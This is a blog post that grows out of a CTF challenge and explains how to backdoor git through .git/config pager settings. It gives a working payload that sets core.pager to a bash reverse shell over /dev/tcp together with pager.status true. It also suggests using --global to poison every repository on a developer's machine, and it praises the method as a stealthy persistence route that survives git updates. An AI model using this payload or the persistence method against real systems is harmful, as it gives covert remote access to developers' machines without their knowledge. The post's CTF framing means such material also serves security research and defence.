How to Hack a Developer

14 Jun 2022

Picture this:

You are a developer working on your favorite project. You love git and think anyone who dares to use a subpar version control system like mercurial or subversion should reconsider their stance before even looking in your general direction. You write pre-commit hooks in your down time to autopep8 every last file in your project. The last time you Googled “git how to revert commit” was 10 years ago. Surely git could never betray you. It wouldn’t… right? You have a relationship like no other, nothing can come between you and your precious version control… right?

Wrong. Buckle up.

CTF Origin Story

During the justCTF competition over the past weekend, one particular challenge caught my eye:

challenge

gitara was a web / miscellaneous challenge that consisted of a web page running some PHP:

webpage

The code takes a value from the domain parameter in a POST request to the page. Then it scp’s the contents of the home directory of the user justctf-gitara on the machine specified with domain. Then, all it does is run git status on the new contents of the directory and exits.

Upon initial inspection of this challenge, it was clear that we needed to somehow exploit the git status command.

After messing with things like git aliases, git hooks, and even looking at the git source code, we decided that there had to be a better way to hijack the git status command.

Enter .git/config

Somewhere along the way I had the idea to look at more git config variables. I thought it might be possible to chain together some configurations to eventually acheive code execution.

After scrolling through the documentation for every single config variable that I could bear to read, I noticed core.pager. core.pager allows for changing the “pager” used to display large amounts of output from git commands such as git diff. However, no matter how many files I git added to my test repo, I couldn’t get the pager to trigger for git status. Still, this was an interesting variable and lead me to the solution.

Eventually, I found pager.<cmd>. The description of this config variable states:

If the value is boolean, turns on or off pagination of the output of a particular Git subcommand when writing to a tty. Otherwise, turns on pagination for the subcommand using the pager specified by the value of pager.<cmd>.

This means we have two options to hijack git status. We can either set pager.status to true and set core.pager to the command we want to inject, or we can just set pager.status to the command we want it to execute.

To demonstrate a simple command modification, I can just set a couple of config variables for git status:

This can also be done for any other git subcommand. I have also created a sample script that poisons a repo’s .git/config file, backdooring every common git subcommand with a reverse shell. You will of course have to modify the script to work with your setup, but it is more of a proof of concept than anything. For extra fun, simply modify the git config ... commands to be git config --global .... Now you have poisoned every repo the developer has or ever will have!

Features Are Better Than Bugs

Given that the pager specification mechanism is a built-in feature of git, I would personally not consider this a bug. Power users may want to hook the pager functionality and execute multiple commands for completely legitimate reasons.

Developers can also use this functionality as a sort of alias for existing git commands.

Payload

To embed your backdoor into a command like git status, simply run the following:

$ git config core.pager "less -FRX; (/bin/bash -i >& /dev/tcp/127.0.0.1/8087 0>&1 &) 2> /dev/null"
$ git config pager.status true

Setting pager.status to true tells git status to use the core.pager setting. However, if you want each git subcommand to have different functionality, you can substitute true for a custom command string:

$ git config pager.status "less -FRX; echo hello"

As stated earlier, I have made a simple PoC script to make all of the common git subcommands pipe a bash prompt to a remote socket. For testing purposes, the IP in the script is localhost, but it can be changed.

Below is a video of the PoC script in action:

Wrapping It Up

There are many other ways to backdoor a system. If you wanted to backdoor git in another way, you could just have a shell script in /usr/bin called git that ran your code before the real git binary. Or you could modify the user’s .bashrc file.

I think this method of poisoning the git command on a per-repo (or global) basis is much cleaner and sneakier than any of the other methods. A user, especially a developer, is going to eventually notice that their .bashrc file has been modified. If they ever update git, the new binary will just replace the shell script.

The config, especially the global config, will persist through git updates and will likely not be read unless the developer has some reason to check or change their pager.

Resources

-dayt0n